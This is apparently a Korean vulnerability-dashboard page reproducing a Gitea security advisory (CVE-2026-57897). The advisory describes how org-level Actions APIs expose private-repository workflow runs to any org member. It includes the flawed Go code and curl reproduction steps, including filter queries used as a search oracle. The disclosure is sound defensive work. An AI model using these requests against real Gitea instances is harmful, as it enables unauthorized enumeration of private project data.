Kestrel
대시보드로 돌아가기
CVE-2026-57897MEDIUM· 6.5GHSA대응게시일: 2026. 07. 21.수정일: 2026. 07. 21.

Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
6.5medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.16.5MODERATE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

상세 설명

Author: Prakhar Porwal
Date: 2026-05-24
Target: Gitea (self-hosted Git service)
Branch tested: main @ b7e95cc48c (development build, go1.26.3)
Component: routers/api/v1/org/action.go (org-level Actions API)
OWASP: API3:2023 Broken Object Property Level Authorization


  1. Summary

The org-level Actions REST endpoints

text
1GET /api/v1/orgs/{org}/actions/runs
2GET /api/v1/orgs/{org}/actions/jobs

are gated only by reqOrgMembership() + reqToken(). They then call
shared.ListRuns(ctx, ctx.Org.Organization.ID, 0) /
shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil), which selects
every action_run / action_run_job row whose repository belongs to the
org — with no per-repository ACL check.

Result: any user who is a member of an organization can enumerate workflow
runs and jobs from every repository in that org, including:

  • private repositories the caller has no team membership for,
  • repositories where the caller has been explicitly denied the repo.actions
    unit,
  • repositories created by other teams the caller is not part of.

Direct per-repo equivalents (GET /api/v1/repos/{owner}/{repo}/actions/runs,
…/jobs/{job_id}/logs, …/runs/{run_id}/jobs) correctly return 404 for the
same caller — proving the org-level surface is the only path that leaks.


  1. Affected Code

2.1 Route registration

routers/api/v1/api.go:1647-1652

text
1addActionsRoutes(
2 m,
3 reqOrgMembership(), // reqReaderCheck
4 reqOrgOwnership(), // reqOwnerCheck
5 org.NewAction(),
6)

2.2 Helper that registers run/job listing

routers/api/v1/api.go:908-941

text
1m.Group("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
2m.Get("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
3m.Get("/jobs", reqToken(), reqReaderCheck, act.ListWorkflowJobs)

reqReaderCheck for org-scope = reqOrgMembership() — bare org membership is
enough; no per-repo permission is consulted.

2.3 Handler

routers/api/v1/org/action.go:595-683

text
1func (Action) ListWorkflowJobs(ctx *context.APIContext) {
2 shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)
3}
4
5func (Action) ListWorkflowRuns(ctx *context.APIContext) {
6 shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)
7}

2.4 Query construction (no ACL)

routers/api/v1/shared/action.go:138-215

text
1opts := actions_model.FindRunOptions{
2 OwnerID: ownerID, // ← org ID, NOT user ID
3 RepoID: repoID, // = 0 at org level
4 ListOptions: listOptions,
5}
6
7runs, total, err := db.FindAndCount[actions_model.ActionRun](ctx, opts)

models/actions/run_list.go:102-110

text
1func (opts FindRunOptions) ToJoins() []db.JoinFunc {
2 if opts.OwnerID > 0 {
3 return []db.JoinFunc{func(sess db.Engine) error {
4 sess.Join("INNER", "repository",
5 "repository.id = repo_id AND repository.owner_id = ?", opts.OwnerID)
6 return nil
7 }}
8 }
9 return nil
10}

The join only constrains repository.owner_id = orgID. There is no
access/team_repo/collaboration join and no
access_model.GetDoerRepoPermission(...) filter — every row in the org is
returned.

The same bug applies to shared.ListJobs, which calls
db.FindAndCount[actions_model.ActionRunJob](ctx, FindRunJobOptions{OwnerID: …})
using an analogous repository join.


  1. Steps to Reproduce

3.1 Setup

  • Org 1st-org with one private repo 1st-org-repo.
  • Team Owners contains user admin (org owner).
  • Team 1st-team has zero repositories assigned (units permission
    none for actions, no included repos).
  • User admin2 is a regular user (is_admin = false), member of
    1st-team only — so org member, but no team grants any access to
    1st-org-repo
    .

Verified that admin2 lacks direct access:

bash
1$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
2 http://localhost:3001/api/v1/repos/1st-org/1st-org-repo
3{"errors":null,"message":"not found","url":"…"}[404]
4
5$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
6 http://localhost:3001/api/v1/orgs/1st-org/repos
7[]
8[200]

A workflow file was committed to 1st-org-repo/.gitea/workflows/ci.yml to
produce an action_run:

text
1name: ci
2on: push
3jobs:
4 hello:
5 runs-on: ubuntu-latest
6 steps:
7 - run: echo "SECRET_INFO_FROM_PRIVATE_REPO"

3.2 Trigger

bash
1$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
2 http://localhost:3001/api/v1/orgs/1st-org/actions/runs

Output (truncated)

text
1{"workflow_runs":[{
2 "id":7,
3 "url":"http://localhost:3001/api/v1/repos/1st-org/1st-org-repo/actions/runs/7",
4 "html_url":"http://localhost:3001/1st-org/1st-org-repo/actions/runs/7",
5 "display_title":"add workflow",
6 "path":"ci.yml@refs/heads/main",
7 "event":"push",
8 "run_attempt":1,
9 "run_number":1,
10 "head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
11 "head_branch":"main",
12 "status":"queued",
13 "actor":{"id":1,"login":"admin", … "email":"1+admin@noreply.localhost", …},
14 "trigger_actor":{ … "login":"admin" … },
15 "repository":{
16 "id":4,"name":"1st-org-repo","full_name":"1st-org/1st-org-repo",
17 "description":"test123",
18 "private":true,
19 "clone_url":"http://localhost:3001/1st-org/1st-org-repo.git",
20 "ssh_url":"prakhar@localhost:1st-org/1st-org-repo.git",
21
22 }
23}],"total_count":1}
24[200]

Same primitive for jobs:

bash
1$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
2 http://localhost:3001/api/v1/orgs/1st-org/actions/jobs
3{"jobs":[{
4 "id":7,
5 "run_id":7,
6 "name":"hello",
7 "labels":["ubuntu-latest"],
8 "head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
9 "head_branch":"main",
10 "status":"queued",
11
12}],"total_count":1}
13[200]

3.3 search primitives

All query parameters supported by ListRuns/ListJobs work too — turning the
endpoint into a search oracle over private workflow metadata:

bash
1# Find runs on a specific branch in private repos:
2curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?branch=main"
3
4# Confirm a given commit SHA exists in any private repo of the org:
5curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?head_sha=b7de30c2…"
6
7# Filter by actor:
8curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?actor=admin"
9
10# Filter by event/status:
11curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?event=push&status=failure"

All return matching rows from private repos in the org.


  1. Impact

A low-privileged authenticated org member (no team, no repo permission, no
admin) gains, for every private repository in the org:

Field leakedWhy it matters
repository.full_name, description, private, clone URLsExistence + topology of private repos
head_sha, head_branchConfirms commits / branch names exist in private repos
path (workflow file)Reveals workflow YAML filenames
event, display_titleCommit messages / event types
actor, trigger_actorInternal contributor identities incl. noreply emails
created_at, started_atActivity timing / CI cadence
Pagination + ?head_sha=/?branch=/?actor= filtersFull search oracle over private workflow history

Real-world consequences:

  1. Org reconnaissance — confirms existence of private projects, names,
    activity patterns; commit messages and branch names often reveal product
    plans, security fix windows, or release schedules.
  2. Insider-threat amplification — any contractor / interviewee / OSS
    contributor invited to a low-permission team can mine the rest of the
    org's CI history.
  3. Cross-team violation — when an org isolates internal projects via
    teams (e.g. security/ vs infra/ teams), this surface flatly bypasses
    that boundary.
  4. Pivot data — commit SHAs disclosed here unlock subsequent endpoints
    that do check ACLs but accept SHA inputs (e.g. some package / archive
    download paths in third-party tooling that just trusts a SHA).

The same primitive is exposed regardless of token scope, as long as the token
has organization scope, the user is an org member, and the org has any
private repos with action runs.


AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.